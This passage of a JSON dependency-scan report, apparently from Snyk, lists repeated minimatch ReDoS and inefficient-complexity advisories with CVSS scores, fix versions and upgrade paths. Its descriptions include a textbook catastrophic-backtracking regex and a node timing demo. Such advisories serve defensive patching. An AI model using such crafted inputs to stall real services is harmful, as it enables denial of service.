following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", 